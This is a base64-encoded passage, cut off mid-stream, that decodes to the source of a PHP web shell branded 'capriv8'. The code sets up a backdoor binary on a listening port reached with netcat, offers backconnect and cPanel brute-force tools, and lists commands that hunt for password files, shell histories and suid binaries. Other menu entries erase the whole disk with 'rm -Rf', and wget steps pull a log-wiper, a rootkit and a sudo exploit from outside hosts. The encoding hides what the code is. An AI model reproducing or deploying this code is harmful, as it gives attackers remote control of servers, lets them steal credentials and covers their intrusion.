IH0NCg0KaWYgKCFlbXB0eSgkX1BPU1RbJ2JhY2tjb25uZWN0cG9ydCddKSAmJiAoJF9QT1NUWyd1c2UnXT09InNoYmQiKSkgew0KICAkaXAgPSBnZXRob3N0YnluYW1lKCRfU0VSVkVSWyJIVFRQX0hPU1QiXSk7DQogICRwb3IgPSAkX1BPU1RbJ2JhY2tjb25uZWN0cG9ydCddOw0KICBpZiAoaXNfd3JpdGFibGUoIi4iKSkgew0KICAgIGNmYigic2hiZCIsJGJhY2tkb29yKTsNCiAgICBleCgiY2htb2QgNzc3IHNoYmQiKTsNCiAgICAkY21kID0gIi4vc2hiZCAkcG9yIjsNCiAgICBleGVjKCIkY21kID4gL2Rldi9udWxsICYiKTsNCiAgICAkc2NhbiA9IG15c2hlbGxleGVjKCJwcyBhdXgiKTsNCiAgfSBlbHNlIHsNCiAgICBjZmIoIi90bXAvc2hiZCIsJGJhY2tkb29yKTsNCiAgICBleCgiY2htb2QgNzc3IC90bXAvc2hiZCIpOw0KICAgICRjbWQgPSAiLi90bXAvc2hiZCAkcG9yIjsNCiAgICBleGVjKCIkY21kID4gL2Rldi9udWxsICYiKTsNCiAgICAkc2NhbiA9IG15c2hlbGxleGVjKCJwcyBhdXgiKTsNCiAgfQ0KICBpZiAoZXJlZ2koIi4vc2hiZCAkcG9yIiwkc2NhbikpIHsNCiAgICAkZGF0YSA9ICgiXG48YnI+QmFja2Rvb3Igc2V0dXAgc3VjY2Vzc2Z1bGx5LiIpOw0KICB9IGVsc2Ugew0KICAgICRkYXRhID0gKCJcbjxicj5Qcm9jZXNzIG5vdCBmb3VuZCwgYmFja2Rvb3Igc2V0dXAgZmFpbGVkISIpOw0KICB9DQogICRfUE9TVFsnYmFja2Njb25ubXNnJ109IlRvIGNvbm5lY3QsIHVzZSBuZXRjYXQhIFVzYWdlOiA8Yj4nbmMgJGlwICRwb3InPC9iPi4kZGF0YSI7DQp9DQoNCg0KQGluaV9zZXQoIm1heF9leGVjdXRpb25fdGltZSIsMCk7DQppZiAoIWZ1bmN0aW9uX2V4aXN0cygiZ2V0bWljcm90aW1lIikpIHsNCiAgZnVuY3Rpb24gZ2V0bWljcm90aW1lKCkgew0KICAgIGxpc3QoJHVzZWMsICRzZWMpID0gZXhwbG9kZSgiICIsIG1pY3JvdGltZSgpKTsgcmV0dXJuICgoZmxvYXQpJHVzZWMgKyAoZmxvYXQpJHNlYyk7DQogIH0NCn0NCmVycm9yX3JlcG9ydGluZyg1KTsNCkBpZ25vcmVfdXNlcl9hYm9ydChUUlVFKTsNCkBzZXRfbWFnaWNfcXVvdGVzX3J1bnRpbWUoMCk7DQpkZWZpbmUoInN0YXJ0dGltZSIsZ2V0bWljcm90aW1lKCkpOw0KaWYgKGdldF9tYWdpY19xdW90ZXNfZ3BjKCkpIHsNCiAgaWYgKCFmdW5jdGlvbl9leGlzdHMoInN0cmlwcyIpKSB7DQogICAgZnVuY3Rpb24gc3RyaXBzKCYkYXJyLCRrPSIiKSB7DQogICAgICBpZiAoaXNfYXJyYXkoJGFycikpIHsNCiAgICAgICAgZm9yZWFjaCgkYXJyIGFzICRrPT4kdikgew0KICAgICAgICAgIGlmIChzdHJ0b3VwcGVyKCRrKSAhPSAiR0xPQkFMUyIpIHsgc3RyaXBzKCRhcnJbIiRrIl0pOyB9DQogICAgICAgIH0NCiAgICAgIH0gZWxzZSB7JGFyciA9IHN0cmlwc2xhc2hlcygkYXJyKTt9DQogICAgfQ0KICB9DQogIHN0cmlwcygkR0xPQkFMUyk7DQp9DQokX1JFUVVFU1QgPSBhcnJheV9tZXJnZSgkX0NPT0tJRSwkX0dFVCwkX1BPU1QpOw0KJHN1cmxfYXV0b2ZpbGxfaW5jbHVkZSA9IFRSVUU7IA0KZm9yZWFjaCgkX1JFUVVFU1QgYXMgJGs9PiR2KSB7IGlmICghaXNzZXQoJCRrKSkgeyQkayA9ICR2O30gfQ0KaWYgKCRzdXJsX2F1dG9maWxsX2luY2x1ZGUpIHsNCiAgJGluY2x1ZGUgPSAiJiI7DQogIGZvcmVhY2ggKGV4cGxvZGUoIiYiLGdldGVudigiUVVFUllfU1RSSU5HIikpIGFzICR2KSB7DQogICAgJHYgPSBleHBsb2RlKCI9Iiwkdik7DQogICAgJG5hbWUgPSB1cmxkZWNvZGUoJHZbMF0pOw0KICAgICR2YWx1ZSA9IHVybGRlY29kZSgkdlsxXSk7DQogICAgZm9yZWFjaCAoYXJyYXkoImh0dHA6Ly8iLCJodHRwczovLyIsInNzbDovLyIsImZ0cDovLyIsIlxcXFwiKSBhcyAkbmVlZGxlKSB7DQogICAgICBpZiAoc3RycG9zKCR2YWx1ZSwkbmVlZGxlKSA9PT0gMCkgew0KICAgICAgICAkaW5jbHVkZXN0ciAuPSB1cmxlbmNvZGUoJG5hbWUpLiI9Ii51cmxlbmNvZGUoJHZhbHVlKS4iJiI7DQogICAgICB9DQogICAgfQ0KICB9DQp9DQppZiAoZW1wdHkoJHN1cmwpKSB7DQogICRzdXJsID0gIj8iLiRpbmNsdWRlc3RyOyANCn0NCiRzdXJsID0gaHRtbHNwZWNpYWxjaGFycygkc3VybCk7DQoNCiRmdHlwZXMgID0gYXJyYXkoDQogICAgImh0bWwiPT5hcnJheSgiaHRtbCIsImh0bSIsInNodG1sIiksDQogICAgInR4dCI9PmFycmF5KCJ0eHQiLCJjb25mIiwiYmF0Iiwic2giLCJqcyIsImJhayIsImRvYyIsImxvZyIsInNmYyIsImNmZyIsImh0YWNjZXNzIiksDQogICAgImV4ZSI9PmFycmF5KCJzaCIsImluc3RhbGwiLCJiYXQiLCJjbWQiKSwNCiAgICAiaW5pIj0+YXJyYXkoImluaSIsImluZiIsImNvbmYiKSwNCiAgICAiY29kZSI9PmFycmF5KCJwaHAiLCJwaHRtbCIsInBocDMiLCJwaHA0IiwiaW5jIiwidGNsIiwiaCIsImMiLCJjcHAiLCJweSIsImNnaSIsInBsIiksDQogICAgImltZyI9PmFycmF5KCJnaWYiLCJwbmciLCJqcGVnIiwiamZpZiIsImpwZyIsImpwZSIsImJtcCIsImljbyIsInRpZiIsInRpZmYiLCJhdmkiLCJtcGciLCJtcGVnIiksDQogICAgInNkYiI9PmFycmF5KCJzZGIiKSwNCiAgICAicGhwc2VzcyI9PmFycmF5KCJzZXNzIiksDQogICAgImRvd25sb2FkIj0+YXJyYXkoImV4ZSIsImNvbSIsInBpZiIsInNyYyIsImxuayIsInppcCIsInJhciIsImd6IiwidGFyIikNCik7DQokZXhlZnR5cGVzICA9IGFycmF5KA0KICAgIGdldGVudigiUEhQUkMiKS4iIC1xICVmJSIgPT4gYXJyYXkoInBocCIsInBocDMiLCJwaHA0IiksDQogICAgInBlcmwgJWYlIiA9PiBhcnJheSgicGwiLCJjZ2kiKQ0KKTsNCiRyZWd4cF9oaWdobGlnaHQgID0gYXJyYXkoDQogICAgYXJyYXkoYmFzZW5hbWUoJF9TRVJWRVJbIlBIUF9TRUxGIl0pLDEsIjxmb250IGNvbG9yPXJlZD4iLCI8L2ZvbnQ+IiksDQogICAgYXJyYXkoIlwudGd6JCIsMSwiPGZvbnQgY29sb3I9I0MwODJGRj4iLCI8L2ZvbnQ+IiksDQogICAgYXJyYXkoIlwuZ3okIiwxLCI8Zm9udCBjb2xvcj0jQzA4MkZGPiIsIjwvZm9udD4iKSwNCiAgICBhcnJheSgiXC50YXIkIiwxLCI8Zm9udCBjb2xvcj0jQzA4MkZGPiIsIjwvZm9udD4iKSwNCiAgICBhcnJheSgiXC5iejIkIiwxLCI8Zm9udCBjb2xvcj0jQzA4MkZGPiIsIjwvZm9udD4iKSwNCiAgICBhcnJheSgiXC56aXAkIiwxLCI8Zm9udCBjb2xvcj0jQzA4MkZGPiIsIjwvZm9udD4iKSwNCiAgICBhcnJheSgiXC5yYXIkIiwxLCI8Zm9udCBjb2xvcj0jQzA4MkZGPiIsIjwvZm9udD4iKSwNCiAgICBhcnJheSgiXC5waHAkIiwxLCI8Zm9udCBjb2xvcj0jMDBGRjAwPiIsIjwvZm9udD4iKSwNCiAgICBhcnJheSgiXC5waHAzJCIsMSwiPGZvbnQgY29sb3I9IzAwRkYwMD4iLCI8L2ZvbnQ+IiksDQogICAgYXJyYXkoIlwucGhwNCQiLDEsIjxmb250IGNvbG9yPSMwMEZGMDA+IiwiPC9mb250PiIpLA0KICAgIGFycmF5KCJcLmpwZyQiLDEsIjxmb250IGNvbG9yPSMwMEZGRkY+IiwiPC9mb250PiIpLA0KICAgIGFycmF5KCJcLmpwZWckIiwxLCI8Zm9udCBjb2xvcj0jMDBGRkZGPiIsIjwvZm9udD4iKSwNCiAgICBhcnJheSgiXC5KUEckIiwxLCI8Zm9udCBjb2xvcj0jMDBGRkZGPiIsIjwvZm9udD4iKSwNCiAgICBhcnJheSgiXC5KUEVHJCIsMSwiPGZvbnQgY29sb3I9IzAwRkZGRj4iLCI8L2ZvbnQ+IiksDQogICAgYXJyYXkoIlwuaWNvJCIsMSwiPGZvbnQgY29sb3I9IzAwRkZGRj4iLCI8L2ZvbnQ+IiksDQogICAgYXJyYXkoIlwuZ2lmJCIsMSwiPGZvbnQgY29sb3I9IzAwRkZGRj4iLCI8L2ZvbnQ+IiksDQogICAgYXJyYXkoIlwucG5nJCIsMSwiPGZvbnQgY29sb3I9IzAwRkZGRj4iLCI8L2ZvbnQ+IiksDQogICAgYXJyYXkoIlwuaHRtJCIsMSwiPGZvbnQgY29sb3I9IzAwQ0NGRj4iLCI8L2ZvbnQ+IiksDQogICAgYXJyYXkoIlwuaHRtbCQiLDEsIjxmb250IGNvbG9yPSMwMENDRkY+IiwiPC9mb250PiIpLA0KCWFycmF5KCJpbmRleC5waHAiLDEsJzxmb250IGNvbG9yPXJlZD4nLCc8L2ZvbnQ+JyksDQoJYXJyYXkoImNvbmZpZ3VyYXRpb24ucGhwIiwxLCc8Zm9udCBjb2xvcj1yZWQ+JywnPC9mb250PicpLA0KCWFycmF5KCJjb25maWcucGhwIiwxLCc8Zm9udCBjb2xvcj1yZWQ+JywnPC9mb250PicpLA0KICAgIGFycmF5KCJzZXR0aW5ncy5waHAiLDEsJzxmb250IGNvbG9yPXJlZD4nLCc8L2ZvbnQ+JyksDQogICAgYXJyYXkoImNvbm5lY3QucGhwIiwxLCc8Zm9udCBjb2xvcj1yZWQ+JywnPC9mb250PicpLA0KICAgIGFycmF5KCJcLnR4dCQiLDEsIjxmb250IGNvbG9yPSNDMEMwQzA+IiwiPC9mb250PiIpDQopOw0KaWYgKCEkd2luKSB7DQogICRjbWRhbGlhc2VzID0gYXJyYXkoDQogICAgYXJyYXkoIiIsICJscyAtYWwiKSwNCiAgICBhcnJheSgiRmluZCBhbGwgc3VpZCBmaWxlcyIsICJmaW5kIC8gLXR5cGUgZiAtcGVybSAtMDQwMDAgLWxzIiksDQogICAgYXJyYXkoIkZpbmQgc3VpZCBmaWxlcyBpbiBjdXJyZW50IGRpciIsICJmaW5kIC4gLXR5cGUgZiAtcGVybSAtMDQwMDAgLWxzIiksDQogICAgYXJyYXkoIkZpbmQgYWxsIHNnaWQgZmlsZXMiLCAiZmluZCAvIC10eXBlIGYgLXBlcm0gLTAyMDAwIC1scyIpLA0KICAgIGFycmF5KCJGaW5kIHNnaWQgZmlsZXMgaW4gY3VycmVudCBkaXIiLCAiZmluZCAuIC10eXBlIGYgLXBlcm0gLTAyMDAwIC1scyIpLA0KICAgIGFycmF5KCJGaW5kIGNvbmZpZy5pbmMucGhwIGZpbGVzIiwgImZpbmQgLyAtdHlwZSBmIC1uYW1lIGNvbmZpZy5pbmMucGhwIiksDQogICAgYXJyYXkoIkZpbmQgY29uZmlnKiBmaWxlcyIsICJmaW5kIC8gLXR5cGUgZiAtbmFtZSBcImNvbmZpZypcIiIpLA0KICAgIGFycmF5KCJGaW5kIGNvbmZpZyogZmlsZXMgaW4gY3VycmVudCBkaXIiLCAiZmluZCAuIC10eXBlIGYgLW5hbWUgXCJjb25maWcqXCIiKSwNCiAgICBhcnJheSgiRmluZCBhbGwgd3JpdGFibGUgZm9sZGVycyBhbmQgZmlsZXMiLCAiZmluZCAvIC1wZXJtIC0yIC1scyIpLA0KICAgIGFycmF5KCJGaW5kIGFsbCB3cml0YWJsZSBmb2xkZXJzIGFuZCBmaWxlcyBpbiBjdXJyZW50IGRpciIsICJmaW5kIC4gLXBlcm0gLTIgLWxzIiksDQogICAgYXJyYXkoIkZpbmQgYWxsIHdyaXRhYmxlIGZvbGRlcnMiLCAiZmluZCAvIC10eXBlIGQgLXBlcm0gLTIgLWxzIiksDQogICAgYXJyYXkoIkZpbmQgYWxsIHdyaXRhYmxlIGZvbGRlcnMgaW4gY3VycmVudCBkaXIiLCAiZmluZCAuIC10eXBlIGQgLXBlcm0gLTIgLWxzIiksDQogICAgYXJyYXkoIkZpbmQgYWxsIHNlcnZpY2UucHdkIGZpbGVzIiwgImZpbmQgLyAtdHlwZSBmIC1uYW1lIHNlcnZpY2UucHdkIiksDQogICAgYXJyYXkoIkZpbmQgc2VydmljZS5wd2QgZmlsZXMgaW4gY3VycmVudCBkaXIiLCAiZmluZCAuIC10eXBlIGYgLW5hbWUgc2VydmljZS5wd2QiKSwNCiAgICBhcnJheSgiRmluZCBhbGwgLmh0cGFzc3dkIGZpbGVzIiwgImZpbmQgLyAtdHlwZSBmIC1uYW1lIC5odHBhc3N3ZCIpLA0KICAgIGFycmF5KCJGaW5kIC5odHBhc3N3ZCBmaWxlcyBpbiBjdXJyZW50IGRpciIsICJmaW5kIC4gLXR5cGUgZiAtbmFtZSAuaHRwYXNzd2QiKSwNCiAgICBhcnJheSgiRmluZCBhbGwgLmJhc2hfaGlzdG9yeSBmaWxlcyIsICJmaW5kIC8gLXR5cGUgZiAtbmFtZSAuYmFzaF9oaXN0b3J5IiksDQogICAgYXJyYXkoIkZpbmQgLmJhc2hfaGlzdG9yeSBmaWxlcyBpbiBjdXJyZW50IGRpciIsICJmaW5kIC4gLXR5cGUgZiAtbmFtZSAuYmFzaF9oaXN0b3J5IiksDQogICAgYXJyYXkoIkZpbmQgYWxsIC5mZXRjaG1haWxyYyBmaWxlcyIsICJmaW5kIC8gLXR5cGUgZiAtbmFtZSAuZmV0Y2htYWlscmMiKSwNCiAgICBhcnJheSgiRmluZCAuZmV0Y2htYWlscmMgZmlsZXMgaW4gY3VycmVudCBkaXIiLCAiZmluZCAuIC10eXBlIGYgLW5hbWUgLmZldGNobWFpbHJjIiksDQogICAgYXJyYXkoIkxpc3QgZmlsZSBhdHRyaWJ1dGVzIG9uIGEgTGludXggc2Vjb25kIGV4dGVuZGVkIGZpbGUgc3lzdGVtIiwgImxzYXR0ciAtdmEiKSwNCiAgICBhcnJheSgiU2hvdyBvcGVuZWQgcG9ydHMiLCAibmV0c3RhdCAtYW4gfCBncmVwIC1pIGxpc3RlbiIpDQogICk7DQogICRjbWRhbGlhc2VzMiA9IGFycmF5KA0KICAgIGFycmF5KCJMb2dnZWQgaW4gdXNlcnMiLCJ3IiksDQogICAgYXJyYXkoIkxhc3QgdG8gY29ubmVjdCIsImxhc3Rsb2ciKSwNCiAgICBhcnJheSgiRmluZCBTdWlkIGJpbnMiLCJmaW5kIC9iaW4gL3Vzci9iaW4gL3Vzci9sb2NhbC9iaW4gL3NiaW4gL3Vzci9zYmluIC91c3IvbG9jYWwvc2JpbiAtcGVybSAtNDAwMCAyPiAvZGV2L251bGwiKSwNCiAgICBhcnJheSgiVXNlciBXaXRob3V0IFBhc3N3b3JkIiwiY3V0IC1kOiAtZjEsMiwzIC9ldGMvcGFzc3dkIHwgZ3JlcCA6OiIpLA0KICAgIGFycmF5KCJDYW4gd3JpdGUgaW4gL2V0Yy8/IiwiZmluZCAvZXRjLyAtdHlwZSBmIC1wZXJtIC1vK3cgMj4gL2Rldi9udWxsIiksDQogICAgYXJyYXkoIkRvd25sb2FkZXJzPyIsIndoaWNoIHdnZXQgY3VybCB3M20gbHlueCBmZXRjaCBsd3AtZG93bmxvYWQiKSwNCiAgICBhcnJheSgiQ1BVIEluZm8iLCJjYXQgL3Byb2MvdmVyc2lvbiAvcHJvYy9jcHVpbmZvIiksDQogICAgYXJyYXkoIklzIGdjYyBpbnN0YWxsZWQgPyIsImxvY2F0ZSBnY2MiKSwNCiAgICBhcnJheSgiRm9ybWF0IGJveCAoREFOR0VST1VTKSIsInJtIC1SZiIpLA0KICAgIGFycmF5KCItLS0tLSIsIiIpLA0KICAgIGFycmF5KCJ3Z2V0IFdJUEVMT0dTIFBUMSIsIndnZXQgaHR0cDovL3d3dy5wYWNrZXRzdG9ybXNlY3VyaXR5Lm9yZy9VTklYL3BlbmV0cmF0aW9uL2xvZy13aXBlcnMvemFwMi5jIiksDQogICAgYXJyYXkoImdjYyBXSVBFTE9HUyBQVDIiLCJnY2MgemFwMi5jIC1vIHphcDIiKSwNCiAgICBhcnJheSgiUnVuIFdJUEVMT0dTIFBUMyIsIi4vemFwMiIpLA0KICAgIGFycmF5KCItLS0tLSIsIiIpLA0KICAgIGFycmF5KCJ3Z2V0IFJhdEhvbGUgMS4yIChMaW51eCAmIEJTRCkiLCJ3Z2V0IGh0dHA6Ly9wYWNrZXRzdG9ybXNlY3VyaXR5Lm9yZy9VTklYL3BlbmV0cmF0aW9uL3Jvb3RraXRzL3JhdGhvbGUtMS4yLnRhci5neiIpLA0KICAgIGFycmF5KCJ3Z2V0IFN1ZG8gRXhwbG9pdCIsIndnZXQgaHR0cDovL3d3dy5zZWN1cml0eWZvY3VzLmNvbS9kYXRhL3Z1bG5lcmFiaWxpdGllcy9leHBsb2l0cy9zdWRvLWV4cGxvaXQuYyIpLA0KICApOw0KfQ0KZWxzZSB7DQogICRjbWRhbGlhc2VzID0gYXJyYXkoDQogICAgYXJyYXkoIiIsICJkaXIiKSwNCiAgICBhcnJheSgiRmluZCBpbmRleC5waHAgaW4gY3VycmVudCBkaXIiLCAiZGlyIC9zIC93IC9iIGluZGV4LnBocCIpLA0KICAgIGFycmF5KCJGaW5kICpjb25maWcqLnBocCBpbiBjdXJyZW50IGRpciIsICJkaXIgL3MgL3cgL2IgKmNvbmZpZyoucGhwIiksDQogICAgYXJyYXkoIkZpbmQgcjU3c2hlbGwgaW4gY3VycmVudCBkaXIiLCAiZmluZCAvYyBcInI1N1wiICoiKSwNCiAgICBhcnJheSgiU2hvdyBhY3RpdmUgY29ubmVjdGlvbnMiLCAibmV0c3RhdCAtYW4iKSwNCiAgICBhcnJheSgiU2hvdyBydW5uaW5nIHNlcnZpY2VzIiwgIm5ldCBzdGFydCIpLA0KICAgIGFycmF5KCJVc2VyIGFjY291bnRzIiwgIm5ldCB1c2VyIiksDQogICAgYXJyYXkoIlNob3cgY29tcHV0ZXJzIiwgIm5ldCB2aWV3IiksDQoJYXJyYXkoIlN5c3RlbWluZm8iLCJzeXN0ZW1pbmZvIikgDQogICAgKTsNCn0NCiRwaHBmc2FsaWFzZXMgPSBhcnJheSgNCiAgICBhcnJheSgiUmVhZCBGaWxlIiwgInJlYWQiKSwNCiAgICBhcnJheSgiV3JpdGUgRmlsZSAoUEhQNSkiLCAid3JpdGUiKSwgDQogICAgYXJyYXkoIkNvcHkiLCAiY29weSIpLA0KICAgIGFycmF5KCJSZW5hbWUvTW92ZSIsICJyZW5hbWUiKSwNCiAgICBhcnJheSgiRGVsZXRlIiwgImRlbGV0ZSIpLA0KICAgIGFycmF5KCJNYWtlIERpciIsIm1rZGlyIiksDQogICAgYXJyYXkoIi0tLS0tIiwgIiIpLA0KICAgIGFycmF5KCJEb3dubG9hZCIsICJkb3dubG9hZCIpLA0KICAgIGFycmF5KCJEb3dubG9hZCAoQmluYXJ5IFNhZmUpIiwgImRvd25sb2FkYmluIiksDQogICAgYXJyYXkoIkNoYW5nZSBQZXJtICgwNzU1KSIsICJjaG1vZCIpLA0KICAgIGFycmF5KCJGaW5kIFdyaXRhYmxlIERpciIsICJmd3JpdGFibGVkaXIiKSwNCiAgICBhcnJheSgiRmluZCBQYXRobmFtZSBQYXR0ZXJuIiwgImdsb2IiKSwNCik7DQoNCiRxdWlja2xhdW5jaDIgPSBhcnJheSgNCglhcnJheSgiW0hvbWVdIiwkc3VybC4iPWltZyZpbWc9aG9tZSIpLA0KCWFycmF5KCJbU2VhcmNoXSIsJHN1cmwuIng9c2VhcmNoIiksDQogICAgYXJyYXkoIltBYm91dF0iLCRzdXJsLiJ4PWFib3V0IikNCik7DQokcXVpY2tsYXVuY2gxID0gYXJyYXkoDQogICAgYXJyYXkoIltTZWN1cml0eSBJbmZvXSIsJHN1cmwuIng9c2VjdXJpdHkmZD0lZCIpLA0KICAgIGFycmF5KCJbUHJvY2Vzc2VzXSIsJHN1cmwuIng9cHJvY2Vzc2VzJmQ9JWQiKSwNCiAgICBhcnJheSgiW015U1FMXSIsJHN1cmwuIng9c3FsJmQ9JWQiKSwNCiAgICBhcnJheSgiW1BIUC1Db2RlXSIsJHN1cmwuIng9ZXZhbCZkPSVkIiksDQogICAgYXJyYXkoIltFbmNvZGVyXSIsJHN1cmwuIng9ZW5jb2RlciZkPSVkIiksDQoJYXJyYXkoIltCYWNrZG9vcl0iLCRzdXJsLiJ4PXNoYmQiKQ0KKTsNCiRxdWlja2xhdW5jaDMgPSBhcnJheSgNCglhcnJheSgiW1BIUC1Ub29sc10iLCRzdXJsLiJ4PXBocHRvb2xzIiksDQoJYXJyYXkoIltDcGFuZWwgRmluZGVyXSIsJHN1cmwuIng9Y3BhbmVsIiksDQogICAgYXJyYXkoJ1tQSFB8QmFja2Nvbm5lY3RdJywkc3VybC4neD1waHBiYWNrJyksDQoJYXJyYXkoIltJbnN0YWxsIFBIUCBQcm94eV0iLCRzdXJsLiJ4PXBocHByb3h5IiksDQoJYXJyYXkoIltDcGFuZWwgQnJ1dGVdIiwkc3VybC4ieD1maSIpLA0KCWFycmF5KCJbRG9tYWluOlVzZXJdIiwkc3VybC4ieD11c3Jkb20iKSwNCglhcnJheSgiW0ZpbmQgV1IgZGlyYHNdIiwkc3VybC4ieD1maW5kd3IiKQ0KKTsNCg0KDQokaGlnaGxpZ2h0X2JhY2tncm91bmQgPSAiIzAwMDAwMCI7DQokaGlnaGxpZ2h0X2JnID0gIndoaXRlIjsNCiRoaWdobGlnaHRfY29tbWVudCA9ICIjQ0NDQ0NDIjsNCiRoaWdobGlnaHRfZGVmYXVsdCA9ICJvcmFuZ2UiOw0KJGhpZ2hsaWdodF9odG1sID0gImxpZ2h0Ymx1ZSI7DQokaGlnaGxpZ2h0X2tleXdvcmQgPSAibGltZSI7DQokaGlnaGxpZ2h0X3N0cmluZyA9ICJyZWQiOw0KDQpAJGYgPSAkX1JFUVVFU1RbImYiXTsNCkBleHRyYWN0KCRfUkVRVUVTVFsiY2Fwcml2OGNvb2siXSk7DQpAc2V0X3RpbWVfbGltaXQoMCk7DQokdG1wID0gYXJyYXkoKTsNCmZvcmVhY2ggKCRob3N0X2FsbG93IGFzICRrPT4kdikgeyAkdG1wW10gPSBzdHJfcmVwbGFjZSgiXFwqIiwiLioiLHByZWdfcXVvdGUoJHYpKTsgfQ0KJHMgPSAiIV4oIi5pbXBsb2RlKCJ8IiwkdG1wKS4iKSQhaSI7DQppZiAoIXByZWdfbWF0Y2goJHMsZ2V0ZW52KCJSRU1PVEVfQUREUiIpKSBhbmQgIXByZWdfbWF0Y2goJHMsZ2V0aG9zdGJ5YWRkcihnZXRlbnYoIlJFTU9URV9BRERSIikpKSkgew0KICBleGl0KCI8YSBocmVmPVwiJHNoX21haW51cmxcIj4kc2hfbmFtZTwvYT46IEFjY2VzcyBEZW5pZWQgLSBZb3VyIGhvc3QgKCIuZ2V0ZW52KCJSRU1PVEVfQUREUiIpLiIpIG5vdCBhbGxvd2VkIik7DQp9DQppZiAoIWVtcHR5KCRsb2dpbikpIHsNCiAgaWYgKGVtcHR5KCRtZDVfcGFzcykpIHskbWQ1X3Bhc3MgPSBtZDUoJHBhc3MpO30NCiAgaWYgKCgkX1NFUlZFUlsiUEhQX0FVVEhfVVNFUiJdICE9ICRsb2dpbikgb3IgKG1kNSgkX1NFUlZFUlsiUEhQX0FVVEhfUFciXSkgIT0gJG1kNV9wYXNzKSkgew0KICAgIGhlYWRlcigiV1dXLUF1dGhlbnRpY2F0ZTogQmFzaWMgcmVhbG09XCIiLiRzaF9uYW1lLiI6ICIuJGxvZ2luX3R4dC4iXCIiKTsNCiAgICBoZWFkZXIoIkhUVFAvMS4wIDQwMSBVbmF1dGhvcml6ZWQiKTsNCiAgICBleGl0KCRhY2Nlc3NkZW5pZWRtZXNzKTsNCiAgfQ0KfQ0KaWYgKCR4ICE9ICJpbWciKSB7DQogICRsYXN0ZGlyID0gcmVhbHBhdGgoIi4iKTsNCiAgY2hkaXIoJGN1cmRpcik7DQogIGlmICgkc2VsZndyaXRlKSB7DQogICAgQG9iX2NsZWFuKCk7DQogICAgY2Fwcml2OF9nZXR1cGRhdGUoJHNlbGZ3cml0ZSwxKTsNCiAgICBleGl0Ow0KICB9DQogICRzZXNzX2RhdGEgPSB1bnNlcmlhbGl6ZSgkX0NPT0tJRVsiJHNlc3NfY29va2llIl0pOw0KICBpZiAoIWlzX2FycmF5KCRzZXNzX2RhdGEpKSB7JHNlc3NfZGF0YSA9IGFycmF5KCk7fQ0KICBpZiAoIWlzX2FycmF5KCRzZXNzX2RhdGFbImNvcHkiXSkpIHskc2Vzc19kYXRhWyJjb3B5Il0gPSBhcnJheSgpO30NCiAgaWYgKCFpc19hcnJheSgkc2Vzc19kYXRhWyJjdXQiXSkpIHskc2Vzc19kYXRhWyJjdXQiXSA9IGFycmF5KCk7fQ0KICBpZiAoIWZ1bmN0aW9uX2V4aXN0cygiY2FnZXRzb3VyY2UiKSkgew0KICAgIGZ1bmN0aW9uIGNhZ2V0c291cmNlKCRmbikgew0KICAgICAgZ2xvYmFsICRjYXByaXY4X3NvdXJjZXN1cmw7DQogICAgICAkYXJyYXkgPSBhcnJheSgNCiAgICAgICAgImNhcHJpdjhfYmluZHBvcnQucGwiID0+ICJjYXByaXY4X2JpbmRwb3J0X3BsLnR4dCIsDQogICAgICAgICJjYXByaXY4X2JpbmRwb3J0LmMiID0+ICJjYXByaXY4X2JpbmRwb3J0X2MudHh0IiwNCiAgICAgICAgImNhcHJpdjhfYmFja2Nvbm4ucGwiID0+ICJjYXByaXY4X2JhY2tjb25uX3BsLnR4dCIsDQogICAgICAgICJjYXByaXY4X2JhY2tjb25uLmMiID0+ICJjYXByaXY4X2JhY2tjb25uX2MudHh0IiwNCiAgICAgICAgImNhcHJpdjhfZGF0YXBpcGUucGwiID0+ICJjYXByaXY4X2RhdGFwaXBlX3BsLnR4dCIsDQogICAgICAgICJjYXByaXY4X2RhdGFwaXBlLmMiID0+ICJjYXByaXY4X2RhdGFwaXBlX2MudHh0IiwNCiAgICAgICk7DQogICAgICAkbmFtZSA9ICRhcnJheVskZm5dOw0KICAgICAgaWYgKCRuYW1lKSB7cmV0dXJuIGZpbGVfZ2V0X2NvbnRlbnRzKCRjYXByaXY4X3NvdXJjZXN1cmwuJG5hbWUpO30NCiAgICAgIGVsc2Uge3JldHVybiBGQUxTRTt9DQogICAgfQ0KICB9DQogIGlmICghZnVuY3Rpb25fZXhpc3RzKCJjYV9idWZmX3ByZXBhcmUiKSkgew0KICAgIGZ1bmN0aW9uIGNhX2J1ZmZfcHJlcGFyZSgpIHsNCiAgICAgIGdsb2JhbCAkc2Vzc19kYXRhOw0KICAgICAgZ2xvYmFsICR4Ow0KICAgICAgZm9yZWFjaCgkc2Vzc19kYXRhWyJjb3B5Il0gYXMgJGs9PiR2KSB7JHNlc3NfZGF0YVsiY29weSJdWyRrXSA9IHN0cl9yZXBsYWNlKCJcXCIsRElSRUNUT1JZX1NFUEFSQVRPUixyZWFscGF0aCgkdikpO30NCiAgICAgIGZvcmVhY2goJHNlc3NfZGF0YVsiY3V0Il0gYXMgJGs9PiR2KSB7JHNlc3NfZGF0YVsiY3V0Il1bJGtdID0gc3RyX3JlcGxhY2UoIlxcIixESVJFQ1RPUllfU0VQQVJBVE9SLHJlYWxwYXRoKCR2KSk7fQ0KICAgICAgJHNlc3NfZGF0YVsiY29weSJdID0gYXJyYXlfdW5pcXVlKCRzZXNzX2RhdGFbImNvcHkiXSk7DQogICAgICAkc2Vzc19kYXRhWyJjdXQiXSA9IGFycmF5X3VuaXF1ZSgkc2Vzc19kYXRhWyJjdXQiXSk7DQogICAgICBzb3J0KCRzZXNzX2RhdGFbImNvcHkiXSk7DQogICAgICBzb3J0KCRzZXNzX2RhdGFbImN1dCJdKTsNCiAgICAgIGlmICgkeCAhPSAiY29weSIpIHtmb3JlYWNoKCRzZXNzX2RhdGFbImN1dCJdIGFzICRrPT4kdikge2lmICgkc2Vzc19kYXRhWyJjb3B5Il1bJGtdID09ICR2KSB7dW5zZXQoJHNlc3NfZGF0YVsiY29weSJdWyRrXSk7IH19fQ0KICAgICAgZWxzZSB7Zm9yZWFjaCgkc2Vzc19kYXRhWyJjb3B5Il0gYXMgJGs9PiR2KSB7aWYgKCRzZXNzX2RhdGFbImN1dCJdWyRrXSA9PSAkdikge3Vuc2V0KCRzZXNzX2RhdGFbImN1dCJdWyRrXSk7fX19DQogICAgfQ0KICB9DQogIGNhX2J1ZmZfcHJlcGFyZSgpOw0KICBpZiAoIWZ1bmN0aW9uX2V4aXN0cygiY2Ffc2Vzc19wdXQiKSkgew0KICAgIGZ1bmN0aW9uIGNhX3Nlc3NfcHV0KCRkYXRhKSB7DQogICAgICBnbG9iYWwgJHNlc3NfY29va2llOw0KICAgICAgZ2xvYmFsICRzZXNzX2RhdGE7DQogICAgICBjYV9idWZmX3ByZXBhcmUoKTsNCiAgICAgICRzZXNzX2RhdGEgPSA